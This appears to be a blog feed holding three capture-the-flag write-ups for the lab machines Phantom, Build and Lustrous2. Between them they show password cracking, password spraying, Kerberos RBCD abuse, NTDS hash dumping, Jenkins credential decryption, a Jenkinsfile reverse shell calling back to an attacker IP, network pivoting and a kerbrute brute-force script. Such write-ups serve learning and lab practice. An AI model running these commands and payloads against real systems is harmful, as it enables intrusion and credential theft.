<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755749363021/0e05fb97-a03b-4d98-9801-5690bb44fb08.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>The info given at the start as a hint about the machine says the following:</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755749524139/83d74d54-34a2-4801-86fa-1d75454b63a5.png" alt class="image--center mx-auto" /></p>
<p>Taking that hint as a base, I put together a basic <strong>python script</strong> that basically looks like this:</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> itertools

company = <span class="hljs-string">"Phantom"</span>
years = [<span class="hljs-string">"2024"</span>, <span class="hljs-string">"2023"</span>, <span class="hljs-string">"2022"</span>, <span class="hljs-string">"2021"</span>, <span class="hljs-string">"2020"</span>]
specials = [<span class="hljs-string">"!"</span>, <span class="hljs-string">"@"</span>, <span class="hljs-string">"#"</span>, <span class="hljs-string">"$"</span>, <span class="hljs-string">"%"</span>]

mutations = [
    company.lower(),
    company.upper(),
    company.capitalize(),
]

<span class="hljs-keyword">with</span> open(<span class="hljs-string">"wordlist.txt"</span>, <span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
    <span class="hljs-keyword">for</span> base <span class="hljs-keyword">in</span> mutations:
        <span class="hljs-comment"># word</span>
        f.write(base + <span class="hljs-string">"\n"</span>)

        <span class="hljs-comment"># years</span>
        <span class="hljs-keyword">for</span> y <span class="hljs-keyword">in</span> years:
            f.write(base + y + <span class="hljs-string">"\n"</span>)

            <span class="hljs-comment"># year + special</span>
            <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> specials:
                f.write(base + y + s + <span class="hljs-string">"\n"</span>)

        <span class="hljs-comment"># special</span>
        <span class="hljs-keyword">for</span> s <span class="hljs-keyword">in</span> specials:
            f.write(base + s + <span class="hljs-string">"\n"</span>
</code></pre>
<p>— wordlist.txt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755750536801/342e00e5-bb35-4c08-91e9-6490faf4df14.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755750556900/2977f23e-dd01-4668-9a5b-4e85e688b86d.png" alt /></p>
<p>Finally, I ran hashcat with this custom wordlist against the backup file and managed to crack it, obtaining valid credentials.</p>
<pre><code class="lang-python">hashcat IT_BACKUP_201123.hc wordlist.txt -m <span class="hljs-number">13721</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755750331137/d1da04a0-049b-4de9-8d20-3b74c6414be2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-mounting-veracrypt-volume">Mounting Veracrypt Volume</h2>
<p>Next step is mounting the volume we’ve got. You can install <strong>VeraCrypt</strong> with a GUI depending on your Linux distro, or just do it on Windows. In my case, running Arch, I fire it up, select the <code>.hc</code> file, and punch in the password we cracked.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755751245934/54924899-dc4b-4278-8211-42bfca25a594.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755751289706/cf88cdd2-06ac-4b4a-a4f0-aa85d92a438f.png" alt /></p>
<p>Once the disk is mapped, I mount it under <code>/mnt/ctf</code>.</p>
<pre><code class="lang-bash">sudo mount /dev/mapper/veracrypt1 /mnt/ctf
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755751533711/1351480e-fc20-4e4d-8602-6551daeaa23d.png" alt class="image--center mx-auto" /></p>
<p>After digging through all the files and unpacking the <code>.tar.gz</code> and <code>.zip</code> archives, I run a recursive grep for keywords like “password” and boom!, I find some creds. I instantly throw them into a password spraying attack and land a valid access:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755752488952/36dabfcb-be44-4b18-acd1-249bd9c78cf6.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-usertxt">USER.txt</h1>
<p>With that password, I run a spraying attack against the user list to see if we can score a new access.. and yes!, we get fresh creds for the <code>svc_sspr</code> account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755753793107/d2838da7-2297-4817-b45f-567af020d4ce.png" alt class="image--center mx-auto" /></p>
<p>Checking in BloodHound, I saw the account is part of the <em><mark>Remote Management Users</mark></em> group, so I attempted to connect.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755754264584/fac1148e-aada-4abf-8235-a861816f78ce.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">evil-winrm -i 10.129.229.112 -u SVC_SSPR -p <span class="hljs-string">'gB6XTcqVP5MlP7Rc'</span>
</code></pre>
<p>Finally, we grab the <code>user.txt</code> flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755754451079/d9ac3905-3aca-4004-bf5c-bbec74a2526d.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-root-path">Root Path</h1>
<p>Our user has rights to force a password change on three accounts:</p>
<ul>
<li><p>wsilva</p>
</li>
<li><p>rnichols</p>
</li>
<li><p>crose</p>
</li>
</ul>
<p>So basically: these users are part of the <em><mark>ICT Security</mark></em> <mark>group</mark>, and that group has the <strong><mark>AddAllowedToAct</mark></strong> privilege on the <code>DC</code>. That means we can mess with the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute to add our own machine account, opening the door to abuse via <code>RBCD</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755754888849/98b8d2d3-9c26-432d-8ad7-9e598ead819f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755755044669/0b18a1d7-ffc2-42b3-89da-5fd5c14b4c75.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-changing-crose-password">Changing CROSE password</h2>
<p>As mentioned, we have the <code>ForceChangePassword</code> privilege, and I chose Crose to reset their password.</p>
<pre><code class="lang-bash">bloodyAD --host DC.phantom.vl -d phantom.vl -u <span class="hljs-string">'SVC_SSPR'</span> -p <span class="hljs-string">'gB6XTcqVP5MlP7Rc'</span> <span class="hljs-built_in">set</span> password CROSE <span class="hljs-string">'Pepe1234#'</span>
</code></pre>
<h2 id="heading-abusing-resource-based-constrained-delegation">Abusing Resource-Based Constrained Delegation</h2>
<p>RBCD allows us to escalate by editing the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute so another account can impersonate users via Kerberos S4U. Normally, you need a computer account, but if the domain blocks new machines (in this case 0 quota), you can exploit password/NT hash tricks to align with the TGT session key and still pull it off.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755755982281/7150ebd8-2f52-4a0c-bdb6-60256cb4df4a.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-references">REFERENCES:</h3>
<ul>
<li><p><a target="_blank" href="https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html">https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html</a></p>
</li>
<li><p><a target="_blank" href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users">https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users</a></p>
</li>
</ul>
<h2 id="heading-step-1">STEP - 1</h2>
<p>With <code>rbcd.py</code>, I passed a machine account using <code>-delegate-to</code>, and for the user, I handed over <code>CROSE</code>.</p>
<pre><code class="lang-bash">rbcd.py -delegate-to <span class="hljs-string">"DC$"</span> -delegate-from <span class="hljs-string">"CROSE"</span> -dc-ip 10.129.229.112 -action write <span class="hljs-string">"DC.phantom.vl/CROSE:Pepe1234#"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755756976960/4570c9c7-88b4-41bc-9fd2-94e0eb83389c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-step-2">STEP - 2</h2>
<p>I grabbed a TGT through an overpass-the-hash attack and extracted the TGT session key using <code>describeTicket.py</code>.</p>
<pre><code class="lang-bash">getTGT.py -hashes :$(pypykatz crypto nt <span class="hljs-string">'Pepe1234#'</span>) <span class="hljs-string">'phantom.vl'</span>/<span class="hljs-string">'CROSE'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755757167687/307f931a-3492-42fc-be45-a640c3dea44e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">describeTicket.py CROSE.ccache | grep <span class="hljs-string">'Ticket Session Key'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755757370416/e60888fe-c143-4d7f-8b36-5ac6b2aac160.png" alt class="image--center mx-auto" /></p>
<p>Then, I swapped it out with the domain user’s NT hash.</p>
<pre><code class="lang-bash">changepasswd.py -newhashes :b8c034f9036d97f34ef2ef18e9e75fc9 <span class="hljs-string">'phantom.vl'</span>/<span class="hljs-string">'CROSE'</span>:<span class="hljs-string">'Pepe1234#'</span>@<span class="hljs-string">'DC.phantom.vl'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755757830596/74b08636-9b2c-4957-a0e9-4728ae99bbd1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-step-3">STEP - 3</h2>
<p>Using <code>S4U2Self</code> together with <code>u2u</code>, the CROSE account can request a service ticket for itself while impersonating the <strong>Administrator</strong>. From there, we pivot into <code>S4U2Proxy</code> to request a service ticket for the target machine that the user has delegation rights over.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=CROSE.ccache
getST.py -k -no-pass -u2u -impersonate <span class="hljs-string">"Administrator"</span> -spn <span class="hljs-string">"cifs/DC.phantom.vl"</span> <span class="hljs-string">'phantom.vl'</span>/<span class="hljs-string">'CROSE'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755758087007/2f32a62f-11a2-4f83-a983-07ed62e8814f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-step-4">STEP - 4</h2>
<p>Finally, I dumped the hash with netexec and achieved root access.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache
nxc smb dc.phantom.vl --use-kcache --ntds --user Administrator
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755758798170/6a7100af-8c61-45c6-9b5e-83f69fc44ed6.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">evil-winrm -i 10.129.229.112 -u Administrator -H <span class="hljs-string">'aa2abd9db4f5984e657f834484512117'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755758873148/b7309b39-d11a-4759-ac89-6620e3666169.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-pwned">PWNED!</h2>
]]></content:encoded></item><item><title><![CDATA[Build - Writeup (Vulnlab & HackTheBox)]]></title><description><![CDATA[FOOTHOLD

NMAP INFO


PORT     STATE    SERVICE
22/tcp   open     ssh
53/tcp   open     domain
512/tcp  open     exec
513/tcp  open     login
514/tcp  open     shell
873/tcp  open     rsync
3000/tcp open     ppp
3306/tcp filtered mysql
8081/tcp filte...]]></description><link>https://myhack.tech/build-writeup</link><guid isPermaLink="true">https://myhack.tech/build-writeup</guid><category><![CDATA[vulnlab]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Tue, 12 Aug 2025 06:29:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754981294826/f4e215bf-fc23-4d5e-9a61-e25fb0ce496d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-foothold">FOOTHOLD</h1>
<ul>
<li><h4 id="heading-nmap-info">NMAP INFO</h4>
</li>
</ul>
<pre><code class="lang-plaintext">PORT     STATE    SERVICE
22/tcp   open     ssh
53/tcp   open     domain
512/tcp  open     exec
513/tcp  open     login
514/tcp  open     shell
873/tcp  open     rsync
3000/tcp open     ppp
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
</code></pre>
<p>We have two important ports to focus on, and both are highly interconnected. I'll start with RSYNC and then move on to GITEA.</p>
<h2 id="heading-rsync-873tcp">RSYNC | 873/tcp</h2>
<p>If we focus on <strong>Port 873</strong>, we see the <strong>RSYNC</strong> service running. This service is commonly used for synchronizing files and directories between different systems:</p>
<pre><code class="lang-plaintext">rsync -av --list-only rsync://10.129.234.169/
</code></pre>
<p>This reveals a resource called "backups." We can synchronize this to a local directory we create named <code>files/backups</code>:</p>
<pre><code class="lang-plaintext">rsync -av rsync://10.129.234.169/backups files/backups
</code></pre>
<p>We have a file named <code>jenkins.tar.gz</code>, which we extract to obtain the full source code, including configuration files and other related data.</p>
<h2 id="heading-dumping-credentials">Dumping Credentials</h2>
<p>Following this link, I was able to obtain very valuable information on how we could recover credentials over Jenkins: <a target="_blank" href="https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials">https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials</a></p>
<p>We need the following files to accomplish this:</p>
<ul>
<li><p><code>master.key</code> <em>(jenkins_configuration/secrets/master.key)</em></p>
</li>
<li><p><code>hudson.util.Secret</code> <em>(/secrets/hudson.util.Secret)</em></p>
</li>
<li><p><code>config.xml</code> <em>(jenkins_configuration/jobs/build)</em></p>
</li>
</ul>
<p>The <code>master.key</code>, <code>hudson.util.Secret</code>, and <code>config.xml</code> files are crucial in Jenkins for decrypting stored credentials. The <code>master.key</code> and <code>hudson.util.Secret</code> are used together to encrypt and decrypt sensitive data, while <code>config.xml</code> contains job configurations that may include credentials.</p>
<p>With these files and the script, I was able to dump the credentials of the <code>buildadm</code> user and gain access to it through Gitea. You can find the script here: <a target="_blank" href="https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py">https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py</a></p>
<pre><code class="lang-python">python3 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754971172118/c1595fd6-22e9-46c1-9a32-7bd20eb9bda4.png" alt class="image--center mx-auto" /></p>
<p><mark>Got it! → </mark> <code>Git1234!</code></p>
<h2 id="heading-gitea-3000tcp">GITEA 3000/tcp</h2>
<p>Now that we have the <code>buildadm</code> credentials, we can head over to Gitea and log in as that user:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754971321553/cbac7e39-eea2-4cbc-84f2-5c759e1f7360.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-poc-to-obtain-a-reverse-shell">PoC to Obtain a Reverse Shell</h2>
<p>With full access to the <code>buildadm/dev</code> repository in Gitea, we can modify its build pipeline. The Jenkins instance is configured to automatically pull and execute changes from this repository via a webhook, meaning any code we commit will be executed in the build environment.</p>
<p>By editing the <code>Jenkinsfile</code> directly through the Gitea web interface, we insert a reverse shell payload. Once committed, Jenkins will detect the change through the webhook and execute it during the next pipeline run.</p>
<p>We then start a listener on our machine to catch the incoming connection. After committing the changes, Jenkins processes the updated <code>Jenkinsfile</code>, triggers the malicious stage, and we receive a reverse shell within a minute or two, confirming remote code execution in the Jenkins environment.</p>
<ul>
<li>Revshell payload</li>
</ul>
<pre><code class="lang-python">pipeline {
    agent any

    stages {
        stage(<span class="hljs-string">'pwnRev'</span>) {
            steps {
                sh <span class="hljs-string">'''
                    bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.28/9000 0&gt;&amp;1'
                '''</span>
            }
        }
    }
}
</code></pre>
<p>Finally, we got the reverse shell:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754972264444/89211932-6ec7-4b8a-a124-95cd8ae51a4e.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-usertxt">USER.txt</h1>
<p>After obtaining the reverse shell, we can read the <code>user.txt</code> file located in the <code>/root/user.txt</code> directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754972719726/f52240bf-c8e5-4703-9c1a-05bf395748cd.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-rhosts-file">.RHOSTS file:</h2>
<p>Checking the <code>.rhosts</code> file located in the same directory as the <code>user.txt</code> file reveals the following domains:</p>
<p>→ admin.build.vl</p>
<p>→ intern.build.vl</p>
<p>This information will be useful later on.</p>
<p>The hostname and the presence of <code>/.dockerenv</code> confirm that we are inside a Docker container:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754972825729/d91f158d-3485-446e-adf1-0fe63cad3365.png" alt class="image--center mx-auto" /></p>
<p>Reading <code>/proc/net/route</code> we can see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754973407106/95eb3c66-9423-4dbc-8d80-77b02d6709bd.png" alt class="image--center mx-auto" /></p>
<p>And we can check this with ChatGPT to understand a bit more:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754973391167/2dcf1449-ea4f-4ab1-8f7c-20c01462a5b6.png" alt class="image--center mx-auto" /></p>
<p><em>The addresses are in little-endian and hex. So..</em></p>
<ul>
<li><p>My current IP is <code>172.18.0.3</code></p>
</li>
<li><p>Checking <code>/proc/net/route</code>, I see the gateway is <code>172.18.0.1</code> and the subnet is <code>172.18.0.0/16</code>.</p>
</li>
<li><p>This means <code>172.18.0.1</code> is most likely the docker host, and container ip’s start from <code>172.18.0.2</code>.</p>
</li>
</ul>
<h2 id="heading-chisel-and-proxychain">Chisel and Proxychain</h2>
<p>I’m going to upload <strong>chisel</strong> to <code>/tmp</code> and set it up together with <strong>proxychains</strong> to gain more mobility within the internal network, allowing me to scan it more comfortably.</p>
<p><strong>On the attacker machine:</strong></p>
<pre><code class="lang-bash">./chisel server --reverse --port 1234
</code></pre>
<p><strong>On the victim machine:</strong></p>
<pre><code class="lang-bash">./chisel client 10.10.14.28:1234 R:9050:socks &amp;
</code></pre>
<p><strong>In</strong> <code>/etc/proxychains.conf</code>:</p>
<pre><code class="lang-python">socks5 <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-number">9050</span>
</code></pre>
<p>Performing an internal scan with Nmap via proxychains on the Docker host:</p>
<pre><code class="lang-bash">proxychains nmap 172.18.0.1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754975652016/588e31ff-bb5f-478f-83ee-7e00b52b6926.png" alt class="image--center mx-auto" /></p>
<p>The new nmap results from inside the network now show that ports <strong><mark>3306</mark></strong> and <strong><mark>8081</mark></strong>, which were previously filtered in the initial external scan, are now marked as <strong><mark>open</mark></strong>.</p>
<h2 id="heading-mysql-3306tcp">MYSQL | 3306/tcp</h2>
<p>Connecting to MySQL as <code>root</code> without password works and I find a database named <code>powerdnsadmin</code> containing a table called <code>records</code>, which provides very useful information:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754977111666/6f38a252-4a42-41bb-93ca-d0e6a4ce6fd1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-summary-of-internal-network-enumeration">Summary of Internal Network Enumeration</h2>
<p>The <code>172.18.0.0/16</code> Docker network contains hosts from <code>172.18.0.1</code> to <code>172.18.0.6</code>.</p>
<ul>
<li><p><strong>intern.build.vl</strong> → Docker host.</p>
</li>
<li><p><strong>gitea.build.vl</strong> → Gitea container.</p>
</li>
<li><p><strong>jenkins.build.vl</strong> → Jenkins container where we obtained a reverse shell.</p>
</li>
</ul>
<h3 id="heading-scanning-the-remaining-hosts-with-nmap">Scanning the remaining hosts with nmap:</h3>
<ul>
<li><p><strong>172.18.0.4 (db.build.vl)</strong> → MariaDB container (<code>3306/tcp</code> open, port forwarded to the host).</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754977418760/709de600-5ddd-485c-9196-7c97fa596940.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>172.18.0.5 (pdns-worker.build.vl / pdns.build.vl)</strong> → PowerDNS container (<code>53/tcp</code> DNS service, <code>8081/tcp</code> web interface, both forwarded to the host).</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754977446617/3a0ae303-4c39-477d-867e-8f859a399fff.png" alt class="image--center mx-auto" /></p>
<ul>
<li><strong>172.18.0.6</strong> → HTTP service on port <code>80/tcp</code>.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754977617859/547f219a-bf4b-4c03-b4d2-d53fdfc4f15b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-powerdns-admin">PowerDNS-Admin</h2>
<p>We can find the repository for PowerDNS-Admin here: <a target="_blank" href="https://github.com/PowerDNS-Admin/PowerDNS-Admin">https://github.com/PowerDNS-Admin/PowerDNS-Admin</a> to learn more about the application. After setting up <strong>chrome</strong> to use the SOCKS proxy on port <code>9050</code>, I was able to browse to its web interface.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754977991945/9054cf8d-1f15-4c9f-876d-6d5b052c5b26.png" alt class="image--center mx-auto" /></p>
<p>A login page is presented, requiring both credentials and an OTP token. Since we previously saw references to this in the MySQL database, the next step is to investigate whether we can retrieve credentials or any password hashes from there to crack.</p>
<ul>
<li><strong>user</strong> table:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754978100783/25bd1162-1aa0-4375-8dbd-d14132b8a21f.png" alt class="image--center mx-auto" /></p>
<p>I save the hash to a file named <code>admin-hash</code> and use <strong>hashcat</strong> with <strong>rockyou.txt</strong> to attempt cracking it, with a positive result:</p>
<blockquote>
<p>The password is: <strong>winston</strong></p>
</blockquote>
<pre><code class="lang-bash">hashcat admin-hash ~/wordlist/rockyou.txt -m 3200
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754978323504/38244aef-df63-4963-a27b-445a4a686c3b.png" alt class="image--center mx-auto" /></p>
<p>We obtain a successful login since the <code>admin</code> user does not have OTP enabled :D</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754978381183/8d13780d-9e71-41ca-aa05-6b56a57ae66a.png" alt class="image--center mx-auto" /></p>
<p>From the <strong>PowerDNS-Admin</strong> panel, I can edit <mark>DNS records</mark>, for example:</p>
<pre><code class="lang-bash">http://172.18.0.6/domain/build.vl
</code></pre>
<p>When we grabbed the user flag earlier, we found a <code>.rhosts</code> file in the Jenkins container with:</p>
<pre><code class="lang-bash">admin.build.vl +
intern.build.vl +
</code></pre>
<p><code>.rhosts</code> is used by <code>rlogin</code> and <code>rsh</code> to allow certain hosts to log in without a password.</p>
<p>A quick scan of <code>172.18.0.1</code> to <code>172.18.0.6</code> showed that ports <code>512–514</code> <mark>are only open on </mark> <code>172.18.0.1</code>, meaning those services run on the Docker host, not in containers.</p>
<p>It turns out <code>/root</code> in the Jenkins container is a bind mount from <code>/root/scripts/root</code> on the host, so the <code>.rhosts</code> file is shared. These entries mean any connection from <code>admin.build.vl</code> or <code>intern.build.vl</code> is trusted, including root logins. The host verifies this by resolving the domains via PowerDNS and checking the IP.</p>
<p>Right now, <code>admin.build.vl</code> has no DNS record, and <code>intern.build.vl</code> points to <code>172.18.0.1</code> (the host), so passwordless login works only locally. <mark>But since we can edit DNS records, we can add or change one to point to our attacker IP, tricking the server into trusting us and letting us log in via </mark> <code>rlogin</code><mark>/</mark><code>rsh</code> <mark>as root.</mark></p>
<h2 id="heading-dns-hijack-to-gain-root-access">DNS Hijack to Gain Root Access</h2>
<p>DNS hijacking involves redirecting DNS queries to malicious servers (our case), allowing attackers to impersonate trusted hosts.</p>
<p>So.. from the <strong>PowerDNS-Admin</strong> panel, we add a new record for <code>admin.build.vl</code> pointing to our attack machine’s IP:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754979185788/25647566-b628-4448-a71b-aa1258444c5e.png" alt class="image--center mx-auto" /></p>
<p><strong>Apply Changes</strong> and we confirm the record is set using <code>dig</code>:</p>
<pre><code class="lang-bash">dig admin.build.vl @10.129.234.169
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754979220666/914ce414-fc40-4062-9a29-4c5ec7cb31cd.png" alt class="image--center mx-auto" /></p>
<p>With this in place, we can log in as root without a password using <code>rlogin</code> or <code>rsh</code>:</p>
<pre><code class="lang-bash">rsh root@build.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754979299868/11755007-0dc7-4047-b587-68a5ffa4d006.png" alt class="image--center mx-auto" /></p>
<p>Pwned!</p>
]]></content:encoded></item><item><title><![CDATA[Lustrous2 - Writeup (Vulnlab)]]></title><description><![CDATA[NMAP
Puertos y servicios identificados con el escaneo inicial dando a entender un contexto claro de un entorno Windows Active Directory:
21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139...]]></description><link>https://myhack.tech/lustrous2-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/lustrous2-writeup-vulnlab</guid><category><![CDATA[Writeup]]></category><category><![CDATA[vulnlab]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Tue, 05 Aug 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754365444293/d37b6d15-70fd-4532-9f1c-3d7499b4da89.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-nmap">NMAP</h1>
<p>Puertos y servicios identificados con el escaneo inicial dando a entender un contexto claro de un entorno Windows Active Directory:</p>
<pre><code class="lang-bash">21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5357/tcp open  wsdapi
</code></pre>
<h2 id="heading-puerto-21-ftp">Puerto 21 | FTP</h2>
<p>En el Puerto <strong>21</strong>, observo que si pruebo el login con el user ‘anonymous’ es valido:</p>
<pre><code class="lang-bash">ftp anonymous@lustrous2.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753996814341/1d6d37cd-cbc6-431d-a1c4-eff8609e1bbb.png" alt class="image--center mx-auto" /></p>
<p>Al enumerar carpetas, obtengo usuarios dentro del directorio <code>Homes</code> y, en especial, una pista en el archivo <code>audit.txt</code> , dentro de la carpeta <code>/ITSEC</code>, que indica que las <strong>contraseñas</strong> de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear users :)</p>
<pre><code class="lang-bash">Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing &amp; Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords
</code></pre>
<h2 id="heading-genero-un-custom-wordlist-para-kerbrute">Genero un custom wordlist para Kerbrute</h2>
<p>Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de passwords a los usuarios que obtuve en el FTP.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

users=<span class="hljs-string">"users.txt"</span>
passwd=<span class="hljs-string">"custom_wordlist.txt"</span>
DC=<span class="hljs-string">"lus2dc.lustrous2.vl"</span>
domain=<span class="hljs-string">"lustrous2.vl"</span>

<span class="hljs-keyword">if</span> [[ ! -f <span class="hljs-string">"<span class="hljs-variable">$users</span>"</span> ]]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">"El archivo <span class="hljs-variable">$users</span> no existe."</span>
  <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>

<span class="hljs-keyword">if</span> [[ ! -f <span class="hljs-string">"<span class="hljs-variable">$passwd</span>"</span> ]]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">"El archivo <span class="hljs-variable">$passwd</span> no existe."</span>
  <span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>


<span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> -r usuario; <span class="hljs-keyword">do</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">"Checking user: <span class="hljs-variable">$usuario</span>@<span class="hljs-variable">$domain</span>"</span>
  kerbrute bruteuser --dc <span class="hljs-string">"<span class="hljs-variable">$DC</span>"</span> -d <span class="hljs-string">"<span class="hljs-variable">$domain</span>"</span> <span class="hljs-string">"<span class="hljs-variable">$passwd</span>"</span> <span class="hljs-string">"<span class="hljs-variable">$usuario</span>@<span class="hljs-variable">$domain</span>"</span> -v

  <span class="hljs-keyword">if</span> [[ $? -ne 0 ]]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Error:  <span class="hljs-variable">$usuario</span>@<span class="hljs-variable">$domain</span>"</span>
  <span class="hljs-keyword">fi</span>

  <span class="hljs-built_in">echo</span> <span class="hljs-string">"Finished: <span class="hljs-variable">$usuario</span>@<span class="hljs-variable">$domain</span>"</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">"-------------------------------------"</span>

<span class="hljs-keyword">done</span> &lt; <span class="hljs-string">"<span class="hljs-variable">$users</span>"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Finished"</span>
</code></pre>
